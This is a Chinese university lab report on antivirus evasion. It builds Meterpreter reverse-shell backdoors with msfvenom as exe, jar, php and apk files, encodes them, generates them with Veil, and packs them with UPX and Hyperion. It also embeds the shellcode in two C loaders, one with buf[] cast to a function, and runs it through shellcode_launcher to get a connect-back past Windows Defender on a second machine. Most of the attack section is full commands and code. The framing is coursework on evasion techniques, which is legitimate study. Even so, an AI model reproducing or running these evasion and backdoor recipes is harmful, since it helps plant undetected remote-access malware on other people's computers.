zoukankan      html  css  js  c++  java
  • 20181235周昱涵《网络对抗技术》免杀原理

    《网络对抗技术》Exp3-免杀原理

    一、实践目标

    • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
    • veil,加壳工具
    • 使用C + shellcode编程
    • 通过组合应用各种技术实现恶意代码免杀
    • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    二、基础问题回答

    (1)杀软是如何检测出恶意代码的?

    1、一个可执行文件中如果包含特征码,即可执行文件中有一段或多段可疑数据如shellcode之类的,杀软就认为这是恶意代码。

    (2)免杀是做什么?

    通过使用一些手段,免杀就是让安插在被控机器的恶意代码不被杀毒软件软件发现。

    (3)免杀的基本方法有哪些?

    1、改变特征码,如加壳、c语言调用shellcode
    2、改变行为,尽量使用反弹式连接、减少对系统的修改
    3、操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码

    开启杀软能绝对防止电脑中恶意代码吗?

    并不可以。

    三、实验内容

    任务一:正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

    1、对实验二生成的后门程序进行免杀检测

    在实验二中使用msf生成了后门程序,可以使用!VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。

    用VirusTotal扫描后结果如下:70款杀软中51款报出了病毒,不加处理的后门程序能被大部分的杀软检测到。

    image-20210401204241615

    Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,AV厂家就会马上加到特征库。

    2、 正确使用msf编码器

    (1)查看可以使用的编码器来生成不同的后门。

    msfvenom -l encoders
    

    image-20210401205146789

    (2)使用msf编码器对后门程序进行一次到多次的编码,并进行检测。

    一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'x00'不出现在shellcode中,因为shellcode以'x00'为结束符

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.255.128 LPORT=1235 -f exe > zyh-encoded.exe
    

    image-20210401205919369

    对生成的zyh-encoded.exe后门程序,使用VirusTotal进行扫描,扫描结果如下图所示:

    image-20210401210929073

    十次编码使用命令:-i设置迭代次数 这里我迭代了10次

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.255.128 LPORT=1235 -f exe > zyh-encoded10.exe
    

    image-20210401210312963

    对生成的zyh-encoded10.exe后门程序,使用VirusTotal进行扫描,扫描结果如下图所示:

    image-20210401211051319

    对比后和理论不符,多次编码后竟然升高了被查杀概率,msfvenom会生成固定模板的exe文件,因此其具有一定特征,一般的AV厂商也会针对其模板生成特征码来进行查杀。

    3、msfvenom生成jar文件

    (1)生成java后门程序使用命令:

    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.255.128 LPORT=1235 x> zyh_backdoor_java.jar
    

    image-20210401211516430

    (2)对生成的zyh_backdoor_java.jar后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:

    image-20210401211732785

    4、msfvenom生成php文件

    (1)生成php后门程序使用命令:

    msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.255.128 lport=1235 x> zyh_backdoor.php
    

    image-20210401212020900

    (2)对生成的zyh_backdoor.php后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:

    image-20210401212222270

    5、msfvenom生成apk文件

    (1)生成apk后门程序使用命令:

    msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.255.128 lport=1235 x> zyh_backdoor.apk
    

    image-20210401212433327

    (2)对生成的zyh_backdoor.apk后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:

    image-20210401212540244

    6、使用veil-evasion生成后门程序及检测

    (1)换源

    sudo vim /etc/apt/sources.list
    

    img

    注释掉,换成国内的源

    官方源
    deb http://http.kali.org/kali kali-rolling main non-free contrib
    deb-src http://http.kali.org/kali kali-rolling main non-free contrib
    中科大源
    deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
    deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
    阿里云源
    deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
    deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
    清华大学源
    deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
    deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
    浙大源
    deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
    deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
    东软大学源
    deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
    deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
    新加坡kali源
    deb http://mirror.nus.edu.sg/kali/kali/ kali main non-free contrib
    deb-src http://mirror.nus.edu.sg/kali/kali/ kali main non-free contrib
    163 Kali源
    deb http://mirrors.163.com/debian wheezy main non-free contrib
    deb-src http://mirrors.163.com/debian wheezy main non-free contrib
    

    我这里使用阿里的,输入下面指令获取更新包/更新软件:

    sudo apt-get update
    

    image-20210401213900360

    (2)安装veil

    sudo apt-get install veil-evasion
    

    image-20210401215101139

    下载完后我们输入veil进入,选择输入s,安装时默认选择提示选项:

    image-20210401215131840

    下载时如果特别的慢我们可以进行下列操作:

    使用命令cd /usr/share/veil/config/进入该文件夹,使用ls查看该文件夹的内容

    cd /usr/share/veil/config/
    

    使用命令sudo vi setup.sh编辑文件,第251行把github仓库改成码云的仓库,https://gitee.com/spears/VeilDependencies.git

    sudo vi setup.sh
    

    到达这里我们就已经安装好了veil:

    image-20210401223921672

    可以输入指令使用veil-evasion:

    use 1
    

    image-20210401224126317

    输入指令:

    list
    

    image-20210401224209555

    image-20210401224233205

    输入命令进入配置界面:

    use 22
    

    image-20210401224258492

    设置端口号和IP地址:

    set LHOST 192.168.255.128//设置反弹连接IP
    set LPORT 1235//设置端口
    options
    

    image-20210401224502816

    image-20210401224755634

    输入generate生成文件,接着输入你想要playload的名字:veil_c_1235

    image-20210401225109773

    如果出现如下问题,可以根据报错得出是我们没有权限,我们只需要用:

    sudo veil
    

    这样我们就可以使用veil-evasion生成后门程序及检测。

    image-20210401225311639

    Hit enter to continue...这句话的意思是按回车键继续…

    image-20210401225506480

    这个为文件存储的地址:

    /var/lib/veil/output/compiled/veil_c_1235.exe
    

    进入这个文件我们和可以找到我们刚刚生成的文件了。

    image-20210401225531597

    对生成的veil_c_1235.exe后门文件,使用VirusTotal进行扫描,扫描结果如下图所示,和原来也差不多

    image-20210401225759785

    7、注入Shellcode并执行(嵌入式Shellcode)

    (1)首先使用命令用c语言生成一段shellcode:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.255.128 LPORT=1235 -f c
    

    image-20210402143633895

    (2)创建一个文件20181235.c,然后将unsigned char buf[]赋值到其中,代码如下:

    创建20181235.c文件:

    code 20181235.c
    

    编译20181235.c文件:

    i686-w64-mingw32-g++ 20181235.c -o 20181235.exe
    

    image-20210402144330602

    文件内容为:

    //
    // Created by 39499 on 2021/4/2.
    //
    #include <stdio.h>
    
    unsigned char buf[] =
            "xfcxe8x8fx00x00x00x60x31xd2x64x8bx52x30x89xe5"
            "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
            "x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7x49"
            "x75xefx52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78"
            "x85xc0x74x4cx01xd0x8bx48x18x8bx58x20x50x01xd3"
            "x85xc9x74x3cx31xffx49x8bx34x8bx01xd6x31xc0xc1"
            "xcfx0dxacx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24"
            "x75xe0x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1c"
            "x01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59"
            "x5ax51xffxe0x58x5fx5ax8bx12xe9x80xffxffxffx5d"
            "x68x33x32x00x00x68x77x73x32x5fx54x68x4cx77x26"
            "x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54x50x68"
            "x29x80x6bx00xffxd5x6ax0ax68xc0xa8xffx80x68x02"
            "x00x04xd3x89xe6x50x50x50x50x40x50x40x50x68xea"
            "x0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5x74x61"
            "xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67x00x00"
            "x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxffxd5x83"
            "xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00x56x6a"
            "x00x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57"
            "x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58x68x00"
            "x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5x57x68"
            "x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85x70xff"
            "xffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1xc3xbb"
            "xf0xb5xa2x56x6ax00x53xffxd5";
    
    int main()
    {
            int (*func)() = (int(*)())buf;
            func();
    }
    

    (3)对创建的20181235.exe后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:

    image-20210402144618215

    可以看到下降了很多但是还是有不少VA厂可以查出来。然后把文件放到win10运行下试试,你可以发现执行时直接被关闭。

    image-20210402144756137

    8、加壳工具

    (1)给之前的生成的文件进行加壳操作,压缩壳upx进行加壳,指令为

    upx 20181235.exe -o 20181235_upx.exe
    

    image-20210402145107993

    对创建的20181235_upx.exe后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:

    image-20210402145206288

    image-20210402150010731

    (2)加密壳(Hyperion)进行加壳,将加壳的文件复制到/usr/share/windows-resources/hyperion/中,输入命令

    wine hyperion.exe -v 20181235_upx.exe 20181235_hyperion_upx.exe
    

    image-20210402150449295

    image-20210402150517587

    image-20210402150616025

    对创建的20181235_hyperion_upx.exe后门文件,使用VirusTotal进行扫描,扫描结果如下图所示,加壳之后检出率更高了

    image-20210402150802400

    9、使用其他课堂未介绍方法

    (1)强制类型转换+shellcode获取shellcode

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.255.128 LPORT=1235 -f c
    

    image-20210402151016344

    (2)新建zyh1235.c

    i686-w64-mingw32-g++ zyh1235.c -o zyh1235.exe
    

    image-20210402151353853

    //
    // Created by 39499 on 2021/4/2.
    //
    #include <stdio.h>
    #include <windows.h>
    unsigned char buf[] =
            "xfcxe8x8fx00x00x00x60x31xd2x64x8bx52x30x89xe5"
            "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
            "x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7x49"
            "x75xefx52x8bx52x10x8bx42x3cx01xd0x8bx40x78x85"
            "xc0x57x74x4cx01xd0x50x8bx58x20x01xd3x8bx48x18"
            "x85xc9x74x3cx49x8bx34x8bx31xffx01xd6x31xc0xac"
            "xc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24"
            "x75xe0x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1c"
            "x01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59"
            "x5ax51xffxe0x58x5fx5ax8bx12xe9x80xffxffxffx5d"
            "x68x33x32x00x00x68x77x73x32x5fx54x68x4cx77x26"
            "x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54x50x68"
            "x29x80x6bx00xffxd5x6ax0ax68xc0xa8xffx80x68x02"
            "x00x04xd3x89xe6x50x50x50x50x40x50x40x50x68xea"
            "x0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5x74x61"
            "xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67x00x00"
            "x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxffxd5x83"
            "xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00x56x6a"
            "x00x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57"
            "x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58x68x00"
            "x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5x57x68"
            "x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85x70xff"
            "xffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1xc3xbb"
            "xf0xb5xa2x56x6ax00x53xffxd5";
    int main()
    {
        ((void(WINAPI*)(void))&buf)();
    }
    

    (3)对创建的zyh1235.exe后门文件,使用VirusTotal进行扫描,扫描结果如下图所示:

    image-20210402151717554

    任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

    1、使用工具shellcode_launcher

    2、先用Msfvenom生成raw格式的shellcode

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=192.168.255.128 lport=1235 -f raw -o zyh1235.raw
    

    image-20210402152444187

    (3)msfconsole开始监听

    image-20210402152530104

    (4)在shellcode_launcher-master文件打开cmd,运行指令shellcode_launcher.exe -i zyh1235.raw

    shellcode_launcher.exe -i zyh1235.raw
    

    image-20210402152710295

    image-20210402152723620

    对创建的zyh1235.raw后门文件,使用VirusTotal进行扫描,扫描结果如下图所示

    image-20210402152828312

    image-20210402153125319

    image-20210402153513932

    事实证明windows Defender还是很强大的,腾讯电脑管家就和屎一样,安装了没有任何用。

    image-20210402162934302

    任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    1、这里首先要将另 fangs一台电脑和虚拟机ping通,我们可以把网络模式改为桥接方式然后获得我们的ip地址

    image-20210402163117398

    2、先用Msfvenom生成raw格式的shellcode

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=192.168.27.168 lport=1235 -f raw -o zyh1235.raw
    

    image-20210402163459593

    (3)msfconsole开始监听

    image-20210402163615883

    (4)在shellcode_launcher-master文件打开cmd,运行指令shellcode_launcher.exe -i zyh1235.raw

    shellcode_launcher.exe -i zyh1235.raw
    

    image-20210402163905100

    image-20210402164342392

    四、实践总结与体会

    经过这次实验我发现我们平时还是不要将windows Defender关掉,他比腾讯管家这一类的软件更好用,这次实验做完后让我觉得我们不能随便从网上下载软件,这样很容易被别人植入后门,我们要加强安全意识,还有veil里面还有很多好用的东西值得我去探索。

  • 相关阅读:
    Eclipse 代码模板
    Eclipse 安装插件
    Eclipse 任务管理
    Eclipse 添加书签
    Eclipse 重构菜单
    Eclipse 浏览(Navigate)菜单浏览 Eclipse 工作空间
    Eclipse 查找
    Eclipse 悬浮提示
    Eclipse 快速修复
    Eclipse 内容辅助
  • 原文地址:https://www.cnblogs.com/394991776zyh/p/14611478.html
Copyright © 2011-2022 走看看